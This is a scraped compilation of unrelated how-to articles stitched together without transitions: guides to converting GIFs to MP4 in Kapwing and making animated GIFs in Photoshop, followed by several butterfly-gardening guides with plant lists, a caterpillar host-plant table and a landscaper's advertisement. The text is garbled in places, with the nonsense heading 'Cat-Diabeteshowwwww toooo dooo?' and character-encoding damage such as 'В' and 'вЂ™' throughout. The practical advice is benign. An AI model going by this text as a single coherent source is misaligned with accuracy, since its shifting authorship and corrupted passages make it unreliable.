• It’s free to use nearly all of its tools
• It’s easy to learn
• It doesn’t require you to download any apps
• It works on computers, phones, and tablets
• You can upload and search for GIFs within the editor
• You can edit your GIFs while you convert them

To turn your GIFs into videos using Kapwing, follow the three simple steps:

Find your GIF(s)
Upload your GIF(s) to the Kapwing Studio
Publish & Download as an MP4!

Step 1: Find Your GIF(s)

Your search for the perfect GIFs can be done without Kapwing, but to save time time, I recommend using its free tools to find the right animated images. With Kapwing, you can search for GIFs with the image search tool and browse popular GIFs with the GIPHY plugin. If your GIFs are saved on your device, just make sure you know where it’s located. One tip is to perform a search with the file extension “.gif” in your file browser to locate your GIFs!

How to create an animated gif GIFs from the GIPHY Plugin

Step 2: Upload Your GIF(s) to the Kapwing Studio

Uploading GIFs to Kapwing only takes a few clicks! First, head over to Kapwing and click “Get Started” and if you’re already signed in, click “New Project.” This will take you to the Kapwing Studio, where you can convert your GIF and use all of Kapwing’s photo and video editing tools in one convenient place.

To upload a GIF from your computer, phone, or tablet, you can select the button that says “Click to upload” and find the file you want to edit in your file browser. You can also find the GIF in your file browser or Photos app and simply drag & drop it into the Studio window. To import GIFs from Google Drive, click Google Drive, sign in to your account, and select a GIF to import into the Studio.

How to create an animated gif Try out some of Kapwing’s editing tools while you convert your GIF!

To convert a GIF you found online, click on the field that says “Paste an image or video URL.” Now, right-click (or just tap one more time if you’re editing on your phone or tablet) on the field and select “Paste.” Kapwing will work its magic and upload your GIF to the Studio.

While you’re in the Kapwing Studio, you can make any other edits that your GIF needs:

Step 3: Publish & Download!

Once you’ve edited your GIF to perfection, you’re ready to convert it to a video! Click “Export Video” in the upper right-hand corner, and your MP4 video will be ready to download in no time! It will automatically be the exact length of your GIF(s).

How to create an animated gif Your converted GIF is just a click away!

When your video is finished processing, click “Download” from the right side of the screen. If you see a small watermark in the corner, sign in or sign up for a free Kapwing account with Facebook and Google to remove it. Then, download your MP4. Now your video is ready for you to share anywhere!

Remember to tag us @KapwingApp whenever you share your converted GIFs on social media– we love to see what our creators are passionate about! And be sure to subscribe to the Kapwing Resources page – we’re constantly writing new tutorial and features to help you make the most out of Kapwing.

Animated GIFs are useful for adding more narrative and dimension to images. You can make animated GIFs in Photoshop from video files, photos, and illustrated images.

Photoshop even has an Onion-skinning feature that is helpful for frame-by-frame animation. Onion-skinning is especially helpful if you’re planning to draw your frames. This method makes creating an animated gif in Photoshop much easier than other programs.

Check out our tips on how to make an animated gif in Photoshop.

Make a GIF in Photoshop from scratch: Tracks, Frame Rate, and Playback

If you want to practice making an animated GIF in photoshop, the best way to start is to bring out the Timeline panel.

In the top menu bar, go to Window, then select Timeline.
In the Create Timeline option, select Create Video Timeline.
In the Window menu, select Timeline

On the Video Timeline, Layers are organized as Tracks, and can always be rearranged. The purple bars represent the time duration of each frame within the Track.

The duration of each frame can be lengthened, shortened, or moved to a different part of the Track. Adjust the endpoints by dragging the entire clip horizontally on the Timeline.

Press the play icon to play back your sequence. You can move the playhead to a specific spot on the Timeline to start playback from that point.

If playback feels too slow or fast when making an animated GIF in Photoshop, adjust your Timeline Frame Rate. This is accessible in the Timeline expandable menu (top right corner). Adjusting the Timeline Frame Rate will change how many frames per second (fps) your animated GIF file will go by.

When making an animated GIF in Photoshop, Photoshop is set to 30 fps by default. 30 fps may be good to work, but when creating an animated gif in photoshop you may need to adjust. Depending on the project you may want more or less.

Smooth your transitions by Enabling Onion Skins

To make an animated GIF in Photoshop with smooth transitions you’ll want to enable onion skins. Onion-skinning lets you see multiple keyframes at once.

Onion-skinning is done by underlaying the previous frame at lower opacity behind the selected frame in the sequence. This way, you can preview the change between each frame when you make an animated GIF in Photoshop.

You’ll also get a better idea if any in-between images are needed to smooth out that change.

How to create an animated gif

If you already have pre-made images

To make an animated gif in photoshop with images you already have is a slightly different process.

Go to File
Select Scripts
Select Load Files into Stack

This method of making an animated GIF in Photoshop loads all of the individual images onto one canvas as individual layers. Each layer represents a frame.

To turn the file into an animation, open Timeline. However, instead of using the Video Timeline shown in the previous examples, select Create Frame Animation.

Unlike using Video Timeline, Frame Animation lines up your images in sequential order. It also helps organize and visualize your sequence frame-by-frame.

Each frame is shown, along with its respective duration below each image.

These timings are the delay of each frame, representing how long they are seen on screen. To change the timing, click directly on the timestamp. You may choose to customize the delay by seconds, or choose one of the preset seconds.

Having the timing right for each frame is important for creating the next great animated GIF in Photoshop.

Use Tween to create an animated GIF in Photoshop

To create an animated GIF in Photoshop without the Onion Skin option, you can use Tween. This option is not available when Timeline is set to Frame Animation, but you can use Tween instead.

Just as with Onion-skinning, you can see an underlay of the previous image in your sequence. However, with Tween, you are able to adjust the opacity. Opacity can be adjusted to show how the frames enter and exit the sequence.

This capability gives a better idea of the frame transition by the second, not just between the images.

If you are using a video file to create an animated GIF

If you are using a video file in Photoshop, there are different ways to make an animated GIF in Photoshop.

Go to File, then select Import and Video Frames to Layers. This will separate the video frames into individual Photoshop layers. Depending on your project or preference, open Video Timeline or Frame Animation.

To split each frame manually, use open the file in Video Timeline.

Saving your masterpiece

Once your frames are ready, it’s time to save the file as a GIF. Go to File, Export, then Save for Web.

How to create an animated gif

Another window will pop up with different options for color handling, image size, and more. These characteristics will need to be adjusted before the final save. If you want the GIF to be continuous, select Animation Looping Options and change to Forever.

To preview your finalized GIF in the web browser, click Preview in the bottom left corner. When everything looks ready, click Save. Note: It’s important to also save your work frequently throughout the process, so you don’t have to start from scratch again in case the program crashes!

Shanoon Cox

Mar 31, 2022• Proven solutions

We all love GIFs and their impressive style of delivering stories. They not only contain set of frames rather they wrap inside lots of emotions and thoughts of creators. You can easily find numbers of eye catching GIF collections over social media sites.

If you love these animated images then probably you might have initiated a search over internet about how to create GIFs. And search engine must have shown you a path to unlimited GIF creator tools. That’s common. But here we are going to talk about one professional recommendation for GIF creation. Yeah, it is Photoshop and it can instantly generate appealing animated Gifs for you.

Below you will be able to learn strategies to create GIF images with latest version of Photoshop:

How to make a GIF in Photoshop

Method 1: Make a GIF from Video in Photoshop
Method 2: Make a GIF from Still Photos in Photoshop

Method 1: Make a GIF from Video in Photoshop

Step 1: Launch your software:

Once you have downloaded your Photoshop software tool on your device then simply run it. Note that CS6 versions of Photoshop provide full support to animated files.

Step 2: Get your video clip imported:

As your software timeline is available on screen, now you have to import your desired video file to this platform. Simple go to File option from top left corner of toolbar and then from drop down menu select import. Further select, video frames to layers. Choose your video file and soon all its frames will appear on screen. Photoshop also allows users to work on clipped versions of video files; in that case you can use slider to limit the frames at the time of uploading process.

Step 3: Adjust file Import Settings:

You will be glad to know that Photoshop offers creative editing features where you can also make color balance adjustments. When you are done with the frame adjustments then go to File and now choose Save for Web from drop down menu.

It will immediately open one new window containing all advanced settings that can assist in better customization of your GIF image. As users need small file size for web uploading needs so you can adjust all these parameters below to get best results:

Colors: Colors are most important descriptive elements for any video so their selection must be done wisely. As more colors can ensure better view but for reducing file size at the same time you can prefer to drop this selection up to 128.

Dither: The dithering process is used to scatter so many colour rich pixels into image so that even a limited colour package can develop intermediate colours over it. If you pick higher number of colours then definitely the image will look finer but at the cost of higher file size.

Lossy: If you want to add some internal drop in the quality of image then this setting is useful. But try to keep it lower because higher range may destroy actual information from image whereas smaller value is good if you want to just reduce the file size.

Size: Users can prefer to change overall dimensions of their GIF that ultimately leads to huge impact on file size.

Step 4: Time to Save your GIF file:

When you are done with the editing process and want to save the newly created GIF image then simply move to the File menu available on top left corner of software window and from drop down menu choose “Save for Web” option. It will further ask you to adjust the output file parameters ahead, make changes as per need of your project and finally get it saved to your device.

Check this video to know more:

Method 2: Make a GIF from Still Photos in Photoshop

It is also possible to develop animated GIF images from collection of still images in Photoshop. In this method, users simply need to maintain layers of each frame and then they are sequenced using timeline tool or Photoshop’s animation based editing. Here are few simple to follow steps to get best results:

1. Step 1

First of all, user is advised to bring all desired still images into a single folder in his computer. Then go to the software window, move to Files option and further choose Scripts. It will provide you an option for Load Files into Stack. Now hit browse button and choose your images from desktop folder that you further want to use for development of GIF image. Hit OK. It will immediately open a new composition on screen and all these stills will appear like individual layers of a new single image.

Users can reorder or rearrange these frames as per their desired GIF animation but note that the frame that you want to place at first position in your final GIF must appear at bottom layer and others must follow the same sequence upwards.

All these GIF layers can also be created individually by user using Photoshop tools. To do this, simply run your Photoshop and then use File > New option to start working with a new project. Hit Ok. It is time to unlock the background layer; you can do this by simply double clicking on the lock icon available on screen. Now in order to create a new layer over it, move to Layer option and press New button. You can design all your new layers with this process. As soon as all your images get created then arrange them in bottom to top order same as the previous method.

Note that, this process becomes effective only if you are working on the older version of software and it does not have “Load Files into Stack” feature. You can simply load all your desired stills on Photoshop platform and then drag them to new project window. The free transform tool of Photoshop can help you to resize all the added layers as per need. Use shortcut keys: Ctrl+T to make changes faster.

2. Step 2

Now as your entire GIF image layers have been arranged so next task is to start sequencing. If you are working on CS5 or lower version of Photoshop then you van move to animation window by using Window plus Animation option. On the other side, CS6 or CC users need to click over Window + Timeline option.

As soon as sequencing tool appears on your screen, you will find a small right facing arrow on upper right corner of your screen. Hit this arrow and then choose “Make Frames from Layer” option. The eye icon can be used to hide all unwanted layers. From bottom menu, you can choose looping sequence for your image.

3. Step 3

Finally your animated GIF image is ready and now you can export it to your computer. Hit File option and then Chose Save for Web from drop down menu. But note that for web uploading a file size less then 1MB is acceptable. You can alter it by changing, loss, dither, color and size settings. At last hit Save button and now you can upload your GIF.

Read More to Get : the ultimate guide on How to Convert GIF to Video on your laptop or phone.

Conclusion

If you feel like Photoshop is difficult to learn, Filmora meme maker is your ultimate solution. It helps you make image, GIF and video memes directly without watermark. It is totally FREE to use and no sign up. You can change text size, color and position to create caption when you are editing. You can also put text inside or outside in GIF. Just with a few clicks, your GIF is done. Try it now!

How to create a butterfly garden

June 26, 2022Cat-Diabeteshowwwww toooo dooo?

How to create a butterfly garden

Most butterflies only live a week. Make those few precious days count — plant a butterfly garden!

All gardens are not created equal. Just ask any butterfly.

Creating and restoring butterfly habitat offsets what development, roadside mowing or wetland drainage have destroyed. (Gardening pesticide-free helps, too.)

Whether you have a small plot in the big city or a few acres, transform your yard into a butterfly garden!

Many butterfly species don’t migrate. You can provide habitat and food for their entire life cycle — eggs, larvae, pupae AND adults — throughout the year.

Think beyond providing flowers for nectar in the height of summer.

What you’ll need

Host plants

Adults need a place to lay eggs where their caterpillars will forage. (Plant species that will get eaten and not just look pretty!)

Mud puddles

Some butterflies rarely visit flowers. They prefer mud, poop (a.k.a. “scat” or “dung”), sap and rotting fruit.

Overwintering habitat

Consider not raking leaves to provide a butterfly nursery! Most butterflies in Canada overwinter as caterpillars, others as pupae. A few species winter as adults, hibernating in hollow trees, under bark and firewood piles, or in garden shed cracks and crevices. Few spend winter as eggs.

Blooms from spring through fall

Don’t limit your garden to an end of July color extravaganza. You’ll need a diversity of native nectar plants to flower over a few months.

Sunshine

Make sure you (or your neighbours) have sunny spots.

Nectar plants

Most butterflies will feed from more than a few plant species.

Think about the role of your yard

Is it a habitat source (high-quality patch that supports population increases)? Or is it more of an island?

Some yards can provide for one butterfly species’ entire life cycle. Some are disconnected from other habitat patches.

Walk around the block and view your neighbourhood through a butterfly’s eyes. Chat with your neighbours and see what they’re planting. Note possible connecting corridors between butterfly-friendly patches. Can schoolyards, boulevards and local green spaces help support butterflies?

How to create a butterfly garden

The Butterflyway Project

The Butterflyway Project is a citizen-led movement growing highways of habitat for bees and butterflies across Canada, one butterfly-friendly planting at a time.

Volunteer Butterflyway Rangers have connected with local schools, city agencies and homeowners to plant thousands of wildflowers in hundreds of pollinator patches, establishing Butterflyways in nine neighbourhoods and cities!

Creating a butterfly oasis can be one of the most rewarding additions to any garden both in its beauty and its benefits to the environment.

With butterfly populations currently on the decline, inviting them to our gardens where they can flourish is essential for survival, both for them and us.

Here’s how you can pull off your very own Butterfly Garden with tips from Prairie Gardens & Jeffrey Alans!

It’s not just the plants in your garden that can entice butterflies to your garden! Providing the right amount of sun, water, and shelter is also key. Keep these in mind when choose where your butterfly garden should reside.

Provide Sun

Butterflies love sun and mainly feed it in at well, so the first step in determining the location of your garden is making sure it receives 6-8 hours of uninterrupted sun a day.

Provide a Water Source

When in search of a drink, butterflies are most attracted to shallow water sources that damp sandy, or muddy. Fill a large saucer with sand, pebbles (provides a place for them to perch) or mud, imbed it in the soil of your garden or hang it, and water consistently.

Provide Shelter

Butterflies will wish to seek shelter in your garden, especially at night when they become very inactive. Shrubs or trees, where they can hide and cling to leaves, or piles of stones where they can slip between the cracks are great way to give your butterflies a place to feel safe.

These are some of the best annuals and perennials to attract bees, butterflies and hummingbirds to your garden! Look out for them in the greenhouses at Prairie Gardens & Jeffrey Alans.

How to create a butterfly garden

Butterflies will visit your garden for 2 reasons…to breed and to feed. Because butterflies use different plants for breeding and feeding, it’s best to have both in your garden.

Breeding Plants are what caterpillar offspring feed on, and since butterfly offspring cannot move from plant to plant, this is where butterflies will lay their eggs.

Nectar plants are what feed adult butterflies. Big, bold blooms full of sugar-rich liquid are the butterflies favorite plants to feed on.

How to create a butterfly garden

Common Nectar-rich Plants

Bee Balm
Alyssum
Butterfly Bush
Coneflowers
Zinnia
Butterfly Weed
Liatris

Common Breeding Plants

Fennel
Parsley
Dill
Borage
Milkweed
Thistle
Nettle

Flower Colors

The way that butterflies see colors is directly related to the plants they are attracted to. Their vision extends into the UV range, so most of their nectar gathering is focused on these colors (pinks, purples, yellows, some oranges), so choose varieties in these colors.

Plant Height

Height matters. Butterflies are more prone to plants that are higher off the ground for safety reasons, so choose high-growing plants over low-growing plants.

Flower Shapes

Butterflies are attracted to plants with platform-like or umble blooms, because of their ability to rest atop them. Coneflowers, zinnias and marigolds are great platform-shaped blooms.

Bloom Times

Butterflies will return to gardens that consistently provide them with nectar, so make sure to plant varieties with a mixture of different bloom times, so butterflies can rely on your garden to always have nectar-filled blooms.

Native Varieties

Butterflies prefer native plants, or plants that natural grow in the area they inhabit.

Go Organic

Most insecticides and pesticides are toxic to butterflies and other pollinators and should never be used in your butterfly garden, so having an organic garden is key.

Quick facts

Butterfly gardening involves planning your garden to attract, retain and encourage butterfly populations. Flowers of similar colors grouped together are more attractive to both butterflies and the gardener.

Choosing host plants

How to create a butterfly garden

Select a variety of nectar-producing plants with the aim of providing flowers in bloom throughout the season. This will entice a continuous succession of new visitors to a yard. It is especially important to have flowers in mid to late summer, when most butterflies are active.

Flowers with multiple florets that produce abundant nectar are ideal.
Annuals are wonderful butterfly plants because they bloom continuously through the season, providing a steady supply of nectar.
Butterflies regularly visit perennial plants, such as coneflowers, lilac, butterfly weed and asters.
Most plants in the mint family are good nectar sources for butterflies.
Avoid double flowers because they are often bred for showiness, not nectar production.
Plantings of host plants preferred by butterflies do not require any sacrifice of flowers and colors.
- Plants such as yellow sunflower, pink Joe-Pye weed, purple coneflower and purple verbena, yellow Black-eyed Susan, red bee balm/bergamot and purple wild asters provide plentiful color.

For successful butterfly gardening, you need to provide food for more than the adult butterflies. You need to provide for their caterpillar forms as well.

Common butterflies and their caterpillar food plants

Butterfly caterpillars have a limited host range. Most caterpillars feed on leaves. Some develop on the reproductive parts of flowers or seeds.

Some supposedly good butterfly plants might not attract butterflies in your garden. It may be that a particular plant is not the preferred larval food of local butterflies.

Common butterflies and their caterpillar food plants

Butterfly species	Caterpillar food plant
Swallowtail Family (Papilionidae)
Black swallowtail	Parsley family – both wild and cultivated: carrot, dill, parsley, parsnip
Spicebush swallowtail	Spicebush, sassafras
Tiger swallowtail	Aspen, cherry, birch
Snout butterfly (Libytheidae)
Common snout butterfly	Hackberry
Brush-footed family (Nymphalidae)
Great spangled and idalia fritillary	Violets
Buckeye	Plantains, gerardias, toadflax, snapdragons, false loosestrifes
Painted lady	Thistles
Red admiral	Nettles, false nettle
Viceroy and red-spotted purple	Willows, especially black willow, pussy willow, poplars, plums, cherries
Hackberry butterfly	Hackberry
Monarch butterfly	Milkweeds, butterfly weed
Mourning cloak	Willow, birch, aspen, maple, elm
Sulphur family (Pieridae)
Common (clouded) sulphur	Clover, alfalfa
Dogface butterfly	Lead plant, false indigo, prairie clover
Coppers, blues, harvesters, metalmarks families (Lycaenidae, Riodinidae)
American copper	Sorrel
Sylvan hairstreak	Willow
Common hairstreak	Mallow family, rose & marsh mallows, hollyhock
Gray hairstreak	Hawthorn
Skipper family (Hesperidae)
Blazing star skipper	Grasses

Nectar plants for adult butterflies

Shrubs

Azalea, blueberries, butterfly bush, buttonbush, lilac, privets and sumacs

Cultivated flowers: annuals

Coneflowers, flowering tobacco, impatiens, marigolds, phlox, sunflower and verbena

Cultivated flowers: perennials

Asters, bee balm, butterfly weed, chrysanthemums, daisies, live forever, purple coneflower, sedum and yarrow

Wildflowers

New England aster, bergamots or horsemints, black-eyed Susan, blazing stars, boneset, butterfly flower, coreopsis, ox-eye daisy and purple agertum

Some weedy wildflowers are not appropriate for formal garden settings, but could be used in a wild patch: common milkweeds, dogbane, goldenrods, ironweeds, Joe-Pye weed, nettles and thistles.

Other

Some butterflies, such as the Mourning Cloak (Nymphalidae: Nymphalis antiopa) and Hackberry (Apaturidae: Asterocampa celtis) feed on rotting fruit, sap that oozes from trees, and even dung.

Sample garden plan

How to create a butterfly garden

1. Purple coneflower

5. Globe centaurea

8. Swamp milkweed

10. Queen Anne’s lace

11. Tawny daylily

12. ‘Marine’ heliotrope

14. Butterfly weed

16. Mountain bluet

17. Annual aster

18. ‘Autumn Joy’ sedum

21. ‘Happy Returns’ daylily

22. Blanket flower

Reduced use of pesticides

One of the most important conservation decisions we can make is to avoid the use of broad spectrum pesticides sprayed all around the yard. Instead, use less harmful spot treatments on plants troubled with pest insects.

For pest insects, use alternative control methods such as oils, soaps and microbial insecticides such as Bacillus thuringiensis (Bt). Remember that oils and soaps still kill caterpillars if sprayed directly on them. They also will die if they feed on plants treated with a Bt formulation that is toxic to them.

Most butterfly species, such as the Tiger Swallowtail (Papilio glaucus), lay only a few eggs at a time. This low level of insect population will not kill shrubs or trees. Black Swallowtail (Papilionidae: Papilio polyxenes) larvae, however, can completely consume herbaceous plants such as dill. To avoid killing a beautiful guest, you should be sure of your identification of an insect as a pest before using any pesticide.

A good side effect of the decrease in pesticide use is the increase of natural enemies. Insects such as spiders, lacewings, ladybird beetles and ground beetles, help to control unwanted pests.

Caution: Mention of a pesticide or use of a pesticide label is for educational purposes only. Always follow the pesticide label directions attached to the pesticide container you are using. Remember, the label is the law.

Enjoy your garden

With a pair of binoculars and a butterfly field guide, your garden is sure to bring you many rewarding hours of butterfly watching. Their daily activities are interesting to watch. Keep a written or photographic record of these special visitors to your garden. Creating your personal Eden is within your grasp.

How to Create a Butterfly Garden

By B’s Montana Gardens

How to create a butterfly garden

Butterflies feed on nectar in flowers and spread pollen as they move from plant to plant. They play an integral role in pollination, which assists with the reproduction of foliage and promotes healthy ecosystems. These helpful insects are also remarkably beautiful, as their wings display a variety of colors and patterns. Adding a butterfly garden to your landscape design can attract these pollinators and add beauty to your property while doing a service for the planet. Here’s how to create a butterfly garden.В

Plant Selection

Butterflies gravitate toward flowers with bright colors, a faint but fresh fragrance, and an ample supply of nectar. Additionally, they tend to favor flowers with narrow tubes and wide landing pads. However, as you choose plants for your garden, make sure they thrive in Montana’s climate.В

How to create a butterfly garden

Perennials that grow well in Montana and attract butterflies include heartleaf arnica, butterweed, and streambank globemallow. Trees and shrubs known for drawing butterflies to regional gardens include elderberry, bitterbrush, and Nootka rose.В

Location, Soil, & Grouping

Since plants that attract butterflies tend to thrive in full or partial sun, select a sunny area of your lawn for your garden. Additionally, pay attention to the type of soil the plant requires. For instance, if the perennials you wish to include thrive in sandy and well-drained soil, avoid planting them in a section of your lawn that has wet or rocky soil.В

A landscape design contractor may create a raised bed with nutrient-rich topsoil and compost, which can encourage a greater variety of foliage to flourish. Arranging plants by color and species can help butterflies more easily locate and feed on them.В

AccessoriesВ

Include large, flat rocks in your garden where butterflies may land between feedings. Position them partially beneath leaf canopies and in direct sunlight so butterflies have the option to relax in sunny or shaded areas, which can help them regulate their temperature. Additionally, include water features, such as a birdbath or small pond, where butterflies may hydrate.В

When you’re ready to plant a butterfly garden, contactВ B’s Montana Gardens. Located in Kalispell, they provide custom landscape designs and garden maintenance to clients throughout the Flathead Valley. Call (406) 250-4950 to get started on yourВ landscaping and visit theВ website to learn more about how they can keep your outdoor areas healthy and gorgeous.В

Butterfly gardens come in all shapes and sizes. Yours can begin in a pot on a patio, a flower box, a raised bed with a watering system, or a new in-ground bed. Or you can dedicate part of an existing garden to butterflies.

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Below are steps and tips to help you decide where to begin. Whether you start small or go with a large master plan, just remember to have fun!

What Butterflies Can I See In My Butterfly Garden?

Some butterflies visit many states while others stay in certain locations. Use our Zip Code locator to see a list of the butterflies that fly in your area and a list of the plants you’ll need to include to attract them. The plant list will be based on your USDA Plant Hardiness Zone.

If you are new to butterfly gardening or want to start small you may want to select just a few butterflies at first. This will keep your plant list more manageable. You can always add more plants later to attract more butterflies.

What Plants Are Best To Include In My Butterfly Garden?

The plant list result from the Zip Code Locator will show you both the host plants and the nectar plants you’ll need for each butterfly you wish to attract.

Female adult butterflies need host plants to lay their eggs. Once the eggs hatch the caterpillars will remain on the plant eating the leaves (and sometimes the stems) until the caterpillars are large enough to leave to form their chrysalises.

Adult butterflies need nectar plants to feed on for energy for flying and mating.

If you include both host plants and nectar plants in your garden you increase your chances of seeing many colorful butterflies come and go as they feed on the nectar plants you’ve provided. You will also be able to witness the miracle of a butterfly’s entire life cycle – complete metamorphosis – in your backyard!

Are Some Nectar Plants Better Than Others?

We focus on including native nectar plants in our butterfly gardens since they tend to be hardier, requiring less maintenance and care than non-natives. Also, many butterflies and other pollinators prefer certain native plants over non-natives.

To keep a steady stream of color and butterfly visitors to your garden all season long you’ll want to include a variety of plants that bloom at varying times. And by planting the flowers in bunches you’ll help butterflies see them from a distance.

Learn more about how to select plants for your butterfly garden in our article on ‘Perfect Flowers for Butterfly Gardens’ which covers selecting the perfect flowers for butterfly habitats.

Do I Need Host Plants In My Butterfly Garden?

Including host plants in a butterfly garden is the best way to see more butterflies. We always grew flowers in our gardens but success and joy came once we started including host plants.

Once we learned which butterflies live in our area we began adding the host plants for those butterflies. And you know what? The butterflies started visiting!

For our first garden, we planted Milkweed for Monarchs, Pawpaw trees for Zebra Swallowtails, and Fennel for Black Swallowtails. Soon these three beautiful butterflies were flying in our gardens.

As we continue to add more host plants to our gardens we see butterflies that we didn’t previously see. We’re always amazed when they find their host plants!

Other Ways To Attract Butterflies

Along with plants, there are other ways to attract butterflies to your garden. Some species such as the Red-spotted Purple like to nectar on rotten fruit such as bananas, peaches, or oranges left out on a plate. Question Marks and Commas enjoy sap from evergreen trees.

You can also encourage butterflies to stick around by including areas for puddling and basking.

More Tips for Starting Your Butterfly Garden:

Four Basic Tips for Starting a Butterfly Gardening
Butterfly Habitat and Survival
Importance of Soil Preparation
Pollinators and Flowers
Finding the Perfect Flower
What are all these Insects

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Gardens

How to Create a Butterfly Garden
Host Plants
Nectar Plants
Gallery of Butterfly Gardens

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The stained-glass patterns of butterfly wings will add an extra dimension to this colorful garden bed, which bursts with easy-to-grow perennial and annual flowers that are irresistible to these pretty creatures. A variety of blossoms offers nectar to adult butterflies, while leafy food sources, such as parsley, nourish the larvae. The one shrub in this garden plan is commonly called “butterfly bush” for good reason: It lures butterflies of all sorts. A few rocks among the plants provide convenient perches for your winged visitors to sun themselves, and a simple birdbath provides water. Butterflies are sun-loving creatures, as are the plants in this design, so be sure to locate it where it will receive six or more hours of sun daily. And remember: No pesticides are allowed in your butterfly garden.

Plants for Creating the Butterfly Garden Plan

2 Butterfly weed (Asclepias tuberosa): Zones 4-9
3 Aster (Symphyotrichum novae-angliae ‘Purple Dome’): Zones 4-8
1 Butterfly bush (Buddleia davidii ‘Nanho Purple’): Zones 5-9
3 Purple coneflower (Echinacea purpurea ‘Bright Star’): Zones 3-9
4 Spike gayfeather (Liatris spicata ‘Floristan Violet’): Zones 3-9
3 Bee balm (Monarda didyma ‘Petite Delight’): Zones 3-9
6 Black-Eyed Susan (Rudbeckia fulgida ‘Goldsturm’): Zones 3-8
2 Stonecrop (Sedum ‘Matrona’): Zones 3-9
2 Goldenrod (Solidago sphacelata ‘Golden Fleece’): Zones 3-10
2 Blue fescue (Festuca glauca ‘Elijah Blue’): Zones 4-8
12 Sweet alyssum (Lobularia maritima): All zones
6 Parsley (Petroselinum crispum): All zones
24 Dwarf zinnia (Zinnia elegans, any dwarf variety): All zones

If you aren’t able to find the exact cultivars listed above, substitute with others with similar colors, shapes, and sizes. And because some plants can become overly aggressive and spread out of control in certain climates, always check which species are considered invasive in your area before planting. For example, butterfly bush can become problematic in some parts of the country, so you may instead want to plant similarly sized bluebeard that also has purplish flowers that draw pollinators.

Get the Free Butterfly Garden Plan

The garden plan for this design includes an illustrated version of the planted garden, a detailed layout diagram, a list of plants for the garden as shown, and complete instructions for installing the garden. Free, one-time registration allows unlimited access to all garden plans, available as printable PDFs.

By Jennifer Noonan | Updated Feb 26, 2016 1:03 PM

How to create a butterfly garden

Butterflies are mesmerizing creatures with more to offer than beauty alone. Because they are nectar eaters, they are great pollinators, and their larvae provide food for birds and other wildlife.

Due to loss of habitat, butterfly populations have been declining, but you can promote their welfare by selecting appropriate plants for your garden beds and borders. And as you attract butterflies, you’ll attract other insects like bees, which flourish in a flowering environment and are beneficial to the health of your backyard landscape.

Here are some things to keep in mind:

Pick the Right Plants
Butterflies are attracted to brightly colored flowers, the nectar of which they feed on. Different species of butterflies like to eat different things, so find out which native plants are favored by the butterflies in your geographic area. Among the greatest hits are butterfly bush, milkweed, purple coneflowers and asters.

You will also need to include “host” plants. These serve not only as sites for the butterflies to lay eggs, but also as food for the caterpillars, which often eat different plants than their adult counterparts. Clover, cassia, and violets are among the preferred host plants, but there are many others, so do your research.

How to create a butterfly garden

Provide Shelter and Sun
Unable to regulate their own body temperatures, butterflies need a sunny place to get warm as well as a shelter in which to find shade. Situate your garden so that it receives at least six hours of sunlight each day. Butterflies tend to lay their eggs in protected areas, away from harsh, excessively cooling winds. And they will need to rest their wings, so incorporate a few flat rocks into your landscape design.

Water, Please
Butterflies need water, not only for hydration, but also for nutrients. Have you ever seen butterflies congregating around a puddle after a rainstorm? In such a way, butterflies consume salts and minerals that are important for their survival and reproduction. To be truly butterfly-friendly, put out a small container of water with sand in the bottom; add in a rock for resting.

Spare the Insecticides
Any broad-spectrum insecticides you use will kill butterfly larvae. If you wish to keep a population of butterflies in your garden but must use insecticides, spot treat insect-affected plants instead of spraying the entire yard. Bear in mind that using soaps and oils to discourage pests will kill caterpillars, so relocate larvae before using those types of treatment.

Planting a butterfly garden will not only benefit the butterfly population and other wildlife, but also bring delight and pleasure to you as a gardener—and to anyone who visits and encounters these fascinating creatures.

Want to see gorgeous colors fly by as you enjoy the afternoon sun in your backyard? One simple way to achieve this goal is by starting a butterfly garden. The striking insects with Pantone-perfect wings can add much beauty to your environment; at the same time, depending on what flowers you plant, you’ll be helping the entire life cycle of a butterfly—egg, caterpillar (larva), chrysalis (pupa), and adult—prevail. And the process to make your own is simpler than you might think.

Plant the Right Flowers

If you want to encourage these winged insects to to flutter around your yard, plant bright, fragrant flowering plants that produce nectar such as asters and coneflowers—they’ll serve as a much-needed energy source for adult butterflies from early spring through late fall. For best results, grow a cluster of different plants, the North American Butterfly Association suggests. Many flowering plants produce nectar so ask your local nursery (or butterfly garden, if you have one in your region) which butterfly species are most common in your area and which nectar plants they prefer.

Feed Caterpillars

If you want to create an enticing place that will help the butterfly population grow and multiply, you’ll need plants that will feed caterpillars, too. But these crawlers are picky eaters, so it’s worth asking local experts which plants the most common butterflies in your area prefer, says the butterfly association. You’ll want to be sure you plant a variety of flowers that caterpillars will enjoy.

Provide Sunny Spots

When planning your butterfly garden, remember that these insects are cold-blooded and need the warmth of the sun, especially in the morning; most will prefer flower that are planted in full sun. You’ll also want to make sure that there’s a place where sunlight hits the ground early in the day, such as on a large rock or a section of pavement, so they can warm their wings.

Offer a Buffet of Choices

Like a restaurant that gives you lots of choices, your garden should also have many diverse offerings for butterflies that satisfy different needs. In addition to flowers with nectar, plant shrubs to shelter the garden from wind and place a variety of rocks from which they can take flight.

Water Is Key

Butterflies also need water, but they get it mostly from dew, nectar, tree sap, and puddles. Even moist dirt or sand serves as drinking sources for them. To make sure butterflies can quench their thirst in your yard, consider creating a puddling station, such as a damp area of ground covered with sand.

Monarch Butterfly Garden

How to Create a Butterfly Garden

by: Kathy Anderson

People who love to garden also tend to enjoy watching butterflies flitting about. After all, butterflies are just as pretty to look at as the flowers that they visit. Gardeners can entice even more butterflies to visit their gardens by creating gardens specifically for butterflies.

ItвЂ™s quite easy to create a butterfly garden. You may even find that you already grow some flowers that attract butterflies. With just a little effort you can create a beautiful haven for these lovely winged creatures, and the butterflies will appreciate your efforts.

If youвЂ™re starting from scratch and will be creating a new planting bed for your butterfly garden, youвЂ™ll first want to learn how to properly create a planting bed for your plants. You can find information on preparing raised planting beds at http://www.freeplants.com

When deciding where to locate your butterfly garden, choose a spot that is not isolated from other plants. Butterflies will be more likely to find your garden if there are other flowers nearby to lead them to your butterfly garden. But if your butterfly garden is the only patch of flowers in a vast sea of grass, butterflies wonвЂ™t have much reason to be in the area. If you have a border of flowering shrubs and other butterfly-enticing plants are scattered around your yard, the butterflies are much more likely to spend time in your garden.

The butterfly garden should include a variety of plants that attract butterflies, and those plants should be in a variety of colors and heights. Consider planting azaleas, rhododendrons and lilacs for height. Fragrant вЂJames McFarlandвЂ™ lilacs seem to be especially attractive to butterflies. Weigela, with its flowers like dainty trumpets, is another good shrub for attracting butterflies.

